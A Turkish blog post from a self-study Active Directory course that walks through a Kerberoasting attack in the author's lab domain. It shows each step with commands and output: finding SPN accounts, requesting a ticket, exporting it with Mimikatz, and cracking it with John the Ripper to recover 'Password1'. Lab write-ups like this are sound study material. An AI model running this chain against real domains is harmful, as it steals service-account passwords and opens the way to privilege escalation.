Attacking and Defending Active Directory Eğitim serisinin 14. videosundayım ve uzun bir süredir bu videoda takılı kaldım. Bunun sebebi yeni öğrenmeye başladığım bazı kavramları iyice anlayayip daha sonra yoluma devam etmek istememden kaynaklanıyor. Aslında halen kendimi yüzde yüz hissetmiyorum ama sonuç olarak burası benim çöplüğüm.
Windows üzerinde servis hesapları saldırganlar tarafından çok dikkat edilen bir hesap türüdür. İlk olarak servis hesaplarının ne olduğunu kısaca anlamaya çalışalım.
Servislerin arkaplanda bizim için belirli işlemleri gerçekleştirdiğini biliyoruz. Bu servislerden çalışan olanlara Get-Service | Where-Object {$_.Status -eq "Running"} | select Status, DisplayName, Name
powershell komutu ile ulaşabiliriz. Kendi bilgisayarınızda denediğinizde bir sürü işlem gerçekleştiren ve arkaplanda sessizce çalışan servis olduğunu görebilirsiniz. Bunlardan bir tanesi Spotify'ın servisi olabilir ve güncelleme olduğunu tespit ettiğinde kendisini otamatik güncelleyecektir. Bu işlemleri gerçekleştirirken çalışmakta olduğu dizine internetten güncelleme patch'ini indirmektedir. Yani o dizin üzerinde okuma, yazma, değiştirme gibi haklara sahiptir. Peki bu haklara sahip olan kim? Spotify servisini kullanan kullanıcı, yani servis kullanıcısı...
Windows Server'ın 2012 sürümünden sonra aslında Servis Kullanıcılarında birtakım değişiklikler oldu ve daha güvenli hale getirildi ama biz hala kullanıma devam eden eski usul servis kullanıcı tanımındaki kabakuvvet saldırısının nasıl yapıldığını bu yazı içerisinde işleyeceğiz.
Kerberoasting, servis hesaplarının parolalarını kırmak amacıyla kullanılan bir saldırı tekniğidir. Kerberoasting, servislere erişim sağlama, hedef sistem üzerinde hak ve yetki yükseltme ve hedef sistemde kalıcılık sağlama amacıyla kullanılabilir. Bu kısımda ilgilendiğimiz özellik aslında SPN olacaktır. Peki SPN nedir? Windows, servisleri ayırt etmek için SPNs (Service Principal Names) kullanmaktadır. SPN formatı : serviceclass/host:port
şeklindedir. Örneğin MSSQLSvc/PROD-SQL.pwclab.local:1433
SPN'e bir örnektir.
Kullanıcı oluşturulurken kullanıcı objesinin spn özelliğine ilgili servis ataması yapılarak aslında bu eşitleme yapılmış olunur. Aşağıdaki videonun 4. dakikalarında bu işlemin nasıl yapılacağı gösterilmiştir.
Bizim buradaki amacımız SPN değeri boş olmayan kullanıcıları tespit etmek olacaktır. Bunun için sızmış olduğumuz düşük yetkili bir makinada aşağıdakı powershell komutunu çalıştırabiliriz. Tabiki AD modülünü import etmiş olmamız gerekecektir.
PS C:\Users\ogrenci> cd .\Desktop\ PS C:\Users\ogrenci\Desktop> cd .\Tools\ PS C:\Users\ogrenci\Desktop\Tools> cd .\ADModule\ PS C:\Users\ogrenci\Desktop\Tools\ADModule> Import-Module .\Microsoft.ActiveDirectory.Management.dll PS C:\Users\ogrenci\Desktop\Tools\ADModule> PS C:\Users\ogrenci\Desktop\Tools\ADModule> PS C:\Users\ogrenci\Desktop\Tools\ADModule> Get-ADUser -Filter { ServicePrincipalName -ne "$null" } -Properties ServicePrincipalName
GivenName :
Surname :
UserPrincipalName :
Enabled : False
SamAccountName : krbtgt
SID : S-1-5-21-2945184338-1184837640-344998139-502
DistinguishedName : CN=krbtgt,CN=Users,DC=kuday,DC=local
Name : krbtgt
ObjectClass : user
ObjectGuid : eb717295-c0fa-436f-9ac7-313ea624be75
PropertyNames : {DistinguishedName, Enabled, GivenName, Name...}
AddedProperties : {}
RemovedProperties : {}
ModifiedProperties : {}
PropertyCount : 11
GivenName : servicetest
Surname :
UserPrincipalName : [email protected]
Enabled : True
SamAccountName : servicetest
SID : S-1-5-21-2945184338-1184837640-344998139-1110
DistinguishedName : CN=servicetest,CN=Managed Service Accounts,DC=kuday,DC=local
Name : servicetest
ObjectClass : user
ObjectGuid : 815c8602-70f7-44e6-868a-05d1b2dd52b9
PropertyNames : {DistinguishedName, Enabled, GivenName, Name...}
AddedProperties : {}
RemovedProperties : {}
ModifiedProperties : {}
PropertyCount : 11
Sanıyorum yukarıda servicetest
kullanıcısını farketmişsinizdir. Bu kullanıcının SPN değeri boş değil ve bu kullanıcıyı tespit edebilmek için Get-ADUser -Filter { ServicePrincipalName -ne "$null" } -Properties ServicePrincipalName
powershell komutunu yazmamız yeterli oldu.
Bu noktadan sonra aslında olay son derece kolay. Sadece şanslı olmamız gerekcektir.
İlk önce ele geçirmiş olduğumuz makinadaki bütün ticket'leri temizleyelim.
PS C:\Users\ogrenci\Desktop\Tools\ADModule> klist purge
Current LogonId is 0:0x220a6f
Deleting all tickets:
Ticket(s) purged!
Şimdi aşağıdaki komut ile SPN değerini öğrenelim.
PS C:\Windows\system32> Get-ADUser -Filter { Name -eq "servicetest"} -Properties * | select ServicePrincipalName
ServicePrincipalName
--------------------
{test/test}
klist
komutu ile ön belleğimde saklı olan ticket'larımı görmek istiyorum.
PS C:\Windows\system32> klist
Current LogonId is 0:0x5b5d4
Cached Tickets: (1)
#0> Client: Administrator @ KUDAY.LOCAL
Server: krbtgt/KUDAY.LOCAL @ KUDAY.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 10/30/2020 2:12:10 (local)
End Time: 10/30/2020 12:12:10 (local)
Renew Time: 11/6/2020 2:12:10 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: DC-01
PS C:\Windows\system32>
Tamamdır. Her şey yolunda gidiyor. Şimdi test/test
SPN değeri için bir ticket isteyeceğiz. Peki bunu nasıl yapıyoruz? Kerberos protokolü uygulaması, etki alanındaki herhangi bir kimliği doğrulanmış nesnenin bir hizmet için bir TGS Bileti istemesine izin verir. Burada önemli olan nokta kimliği doğrulanmış olmasıdır. Bu işlem zaten ilk başta yapıldı ve biz klist
dediğimizde bunu görebiliyoruz...
Bir kullanıcı sisteme giriş yaptığı sırada servis erişimleri için kimliğini doğrulaması gerekir. Bu nedenle de Key Distribution Center (KDC) ile iletişime geçerek Ticket Granting Ticket (TGT) sahibi olmalıdır. TGT krbtgt hesabı tarafından imzalanarak gönderilmiştir ve süreçteki rolü, kullanıcının doğrulanmasını sağlamaktır. TGT’sini eline almış kullanıcı, erişmek istediği servisin SPN değeriyle birlikte Ticket Granting Service (TGS)’e ticket request gönderir. Yani bizim burada yapmamız gereken tek şey bir TGS'e bir request göndermek olacaktır. TGS Biletini talep etmek için iki bilgiye ihtiyacımız var (SPN aslında yeterli olacaktır)
Ben kendi lab ortamımda test/test
SPN değerine sahip olan kullanıcıyı gerçekten bir Servis ile eşitlemedim yani sistemimde test diye bir servis bulunmamaktadır. Ancak güvenlik denemesini yapmamız için bu kadarı yeterli olacaktır. Bu yüzden aslında bilet oluşturabilmek için sadece SPN değeri yeterli olmakta. Şimdi bir TGS request'i powershell ile nasıl gönderebileceğimizi görelim.
PS C:\Users\ogrenci\Desktop\Tools\ADModule>
PS C:\Users\ogrenci\Desktop\Tools\ADModule> Add-Type -AssemblyName System.IdentityModel
PS C:\Users\ogrenci\Desktop\Tools\ADModule> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "test/test"
Id : uuid-45cc9b93-6640-4a2f-bcb0-2a70b75f63a2-2
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom : 29.10.2020 23:35:24
ValidTo : 30.10.2020 09:35:24
ServicePrincipalName : test/test
SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
Evet işte bu kadar basit. Burda yaptıklarımızı kısaca açıklayayim. Normal powershell ortamımızda dahil olmayan bir namespace'i aslında ekledik daha sonra onun altındaki bir class'ı kullandık. Şimdi kontrol işlemi gerçekleştirelim...
PS C:\Users\ogrenci\Desktop\Tools\ADModule> klist
Current LogonId is 0:0x220a6f
Cached Tickets: (2)
#0> Client: ogrenci @ KUDAY.LOCAL
Server: krbtgt/KUDAY.LOCAL @ KUDAY.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 10/30/2020 2:35:24 (local)
End Time: 10/30/2020 12:35:24 (local)
Renew Time: 11/6/2020 2:35:24 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: DC-01.kuday.local
#1> Client: ogrenci @ KUDAY.LOCAL
Server: test/test @ KUDAY.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 10/30/2020 2:35:24 (local)
End Time: 10/30/2020 12:35:24 (local)
Renew Time: 11/6/2020 2:35:24 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0
Kdc Called: DC-01.kuday.local
PS C:\Users\ogrenci\Desktop\Tools\ADModule>
İkinci ticket'ımızı orda görüyoruz. Bu harika artık kabakuvvet işlemine başlayabiliriz.
İlk olarak Invoke-Mimikatz aracı ile RAM'de bulunan ticketları parse ettim ev bir dosyay yazdım.
PS C:\Users\ogrenci\Desktop\Tools\kerberoast> Invoke-Mimikatz -Command '"kerberos::list /export"'
.#####. mimikatz 2.2.0 (x64) #18362 Oct 30 2019 13:01:25
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(powershell) # kerberos::list /export
[00000000] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 30.10.2020 03:52:58 ; 30.10.2020 13:52:58 ; 6.11.2020 03:52:58
Server Name : krbtgt/KUDAY.LOCAL @ KUDAY.LOCAL
Client Name : ogrenci @ KUDAY.LOCAL
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
* Saved to file : 0-40e10000-ogrenci@krbtgt~KUDAY.LOCAL-KUDAY.LOCAL.kirbi
[00000001] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 30.10.2020 03:52:58 ; 30.10.2020 13:52:58 ; 6.11.2020 03:52:58
Server Name : test/test @ KUDAY.LOCAL
Client Name : ogrenci @ KUDAY.LOCAL
Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardable ;
* Saved to file : 1-40a10000-ogrenci@test~test-KUDAY.LOCAL.kirbi
Evet şimdi .kirbi uzantılı dosyalara kaba-kuvvet saldırısı yapabilmek için john formatına dönüştürelim. Bunun için kerberoast
isimli projeyi kullancağım. Bilgisayara clone'ladıktan sonra devam ediyorum...
PS C:\Users\ogrenci\Desktop\Tools\kerberoast> py .\kirbi2john.py .\1-40a10000-ogrenci@test~test-KUDAY.LOCAL.kirbi
```
Çalıştırdığım komut ve çıktısı:
```
$krb5tgs$23$*1-40a10000-ogrenci@test~test-KUDAY.LOCAL*$88f5b15f9a6143949eb49e16c5afbe77$3e398228fd219d319d2a85385b79523db1b0854ead57c075f5a7f3347e1292a9b0480434ca2f3142a20bfcfeaf9cbd1363de8b8b6a70713a7da23e7b90b63fd14d0ee89f9126ca5de185a431658072924ff442915b939d3643c7d216a9b0bacf2b1ca2e98fe64f884c828755f0dbc00e41c769008c5b74f06b0c909d11110653d5b973a81cb28f550aaf8c918bd6a8e842b676e60cbc332ed0a9785166c8e749ce85a67ccec23d547d8e1dda362a198843471b64ad55a894cf58a7a92a69ba8e15cf50c919a22b46bfa9fd3503ebd419dd51dbef867883a7a5ce5f837aef3ac89e583532fc1c1425ee61631e81bd4437350c666d4d3c782dd8dfcf26c51af9b7287342acb714e2a9a49029c879944ad52210b8e934c44e3bd7e94561ceb9452351e44412a252bb14ca1dd78f40ae33e26a3bca46a8faf9d56f0bab9273e17fd778e962b574b8e494c224e7a830fdd73ca7498aab450618eca509eaab11f609d7af0db4fa3b4a97df74a6c43df3feacec45ed364abc0d1ec881c71cc3d4e669cdba6769e6c3099d84725727fbc7fa68a7527cff3abe6e2f447342d9bab2c2b66af2db7e8acef60a3beaca6176f6e851356d8b77486b8d1e474719aabc23293cdc11a83a4fce255073a668215960fe58b946d05e9bc7c9cbf2f9e1556e804b1e562357ee5f3efcd2832a0c63a0d8da93667cadeff9b4f86e5fe4e530fe3807e78e9d6fe33896c33662f10045becd1da49ecb4a8a1f31f00170ea1a0d38edde075a6355674a84016bf288ae8c8a136eac2b919d8ea19499b7e92ea9ee56c5be045636cabfb8007b5d3a4c5fb478e37691bbb6206c23d8a94169229c989be0e089f75835253f78e1d0bbae3f98c76e9bd5014ea67a036a01e4719594695cd6899ee7753d0ae422bd52e245c46a18a162b88899d3b04084c509b0e6763a1ff4ea53e4848f51c6754a740466c3bb2e80168eb0fa72f26cf77c11439f9f857a067daab2a815f2a55f07250707cb2bd3f64149a0fc0769669e49042b4caebc3d660e6e07984856466cbad557cc6bd5989f1b54cfddbdbc156e46b40044daf4115a5dacec9dd532adda1e9a06ceda6fd71e12fc84487f4c8e76d81a3ec10efd49e0619f2ded5009fe8f50e3ccc89b36ab1f9c4322eaf27572648d4c54eda3024fceefc6c0247ccd94810728d1044213936fb6fcec0ac907d4dc27923a54cc5041154b5a9e328e189b62b0eccaa6f82f7da8f86aff6ca53200c24efdb313354be1fb1c7e92647a57fadbfffeec178b3dfaf056d0116511388c8e65f1fb1c4e690e25909beac2f322984329378e7cdcb7dd1f79b99e0b0937bde5499a95d24f3437623a0466ba8418bd621b9f77e2f1361f298719c3ed18ff1aae9886f4a37ec6839539646dc03e157cbadef325d3f7826475a435e083a5a4aa5ee7fe52ffe4776f584851e7ddc2c419065bb9fa9412eeed303e99cfa7dd3756ef95b0f8e9a2567004ef941ecef37382ff5ad8dd985a47a4e1
tickets written: 1
Şimdi bu çıktıyı john'a verelim. Bunun için kali kullandım bu arada...
root@kali:/home/kali/Desktop# cat testtest
$krb5tgs$23$*1-40a10000-ogrenci@test~test-KUDAY.LOCAL*$88f5b15f9a6143949eb49e16c5afbe77$3e398228fd219d319d2a85385b79523db1b0854ead57c075f5a7f3347e1292a9b0480434ca2f3142a20bfcfeaf9cbd1363de8b8b6a70713a7da23e7b90b63fd14d0ee89f9126ca5de185a431658072924ff442915b939d3643c7d216a9b0bacf2b1ca2e98fe64f884c828755f0dbc00e41c769008c5b74f06b0c909d11110653d5b973a81cb28f550aaf8c918bd6a8e842b676e60cbc332ed0a9785166c8e749ce85a67ccec23d547d8e1dda362a198843471b64ad55a894cf58a7a92a69ba8e15cf50c919a22b46bfa9fd3503ebd419dd51dbef867883a7a5ce5f837aef3ac89e583532fc1c1425ee61631e81bd4437350c666d4d3c782dd8dfcf26c51af9b7287342acb714e2a9a49029c879944ad52210b8e934c44e3bd7e94561ceb9452351e44412a252bb14ca1dd78f40ae33e26a3bca46a8faf9d56f0bab9273e17fd778e962b574b8e494c224e7a830fdd73ca7498aab450618eca509eaab11f609d7af0db4fa3b4a97df74a6c43df3feacec45ed364abc0d1ec881c71cc3d4e669cdba6769e6c3099d84725727fbc7fa68a7527cff3abe6e2f447342d9bab2c2b66af2db7e8acef60a3beaca6176f6e851356d8b77486b8d1e474719aabc23293cdc11a83a4fce255073a668215960fe58b946d05e9bc7c9cbf2f9e1556e804b1e562357ee5f3efcd2832a0c63a0d8da93667cadeff9b4f86e5fe4e530fe3807e78e9d6fe33896c33662f10045becd1da49ecb4a8a1f31f00170ea1a0d38edde075a6355674a84016bf288ae8c8a136eac2b919d8ea19499b7e92ea9ee56c5be045636cabfb8007b5d3a4c5fb478e37691bbb6206c23d8a94169229c989be0e089f75835253f78e1d0bbae3f98c76e9bd5014ea67a036a01e4719594695cd6899ee7753d0ae422bd52e245c46a18a162b88899d3b04084c509b0e6763a1ff4ea53e4848f51c6754a740466c3bb2e80168eb0fa72f26cf77c11439f9f857a067daab2a815f2a55f07250707cb2bd3f64149a0fc0769669e49042b4caebc3d660e6e07984856466cbad557cc6bd5989f1b54cfddbdbc156e46b40044daf4115a5dacec9dd532adda1e9a06ceda6fd71e12fc84487f4c8e76d81a3ec10efd49e0619f2ded5009fe8f50e3ccc89b36ab1f9c4322eaf27572648d4c54eda3024fceefc6c0247ccd94810728d1044213936fb6fcec0ac907d4dc27923a54cc5041154b5a9e328e189b62b0eccaa6f82f7da8f86aff6ca53200c24efdb313354be1fb1c7e92647a57fadbfffeec178b3dfaf056d0116511388c8e65f1fb1c4e690e25909beac2f322984329378e7cdcb7dd1f79b99e0b0937bde5499a95d24f3437623a0466ba8418bd621b9f77e2f1361f298719c3ed18ff1aae9886f4a37ec6839539646dc03e157cbadef325d3f7826475a435e083a5a4aa5ee7fe52ffe4776f584851e7ddc2c419065bb9fa9412eeed303e99cfa7dd3756ef95b0f8e9a2567004ef941ecef37382ff5ad8dd985a47a4e1
root@kali:/home/kali/Desktop# john testtest
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Password1 (?)
1g 0:00:00:00 DONE 2/3 (2020-10-29 20:54) 100.0g/s 409600p/s 409600c/s 409600C/s modem..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:/home/kali/Desktop#
Ve servis kullanıcısının şifresini kırmış olduk: Password1
İlk Yorumu Siz Yapın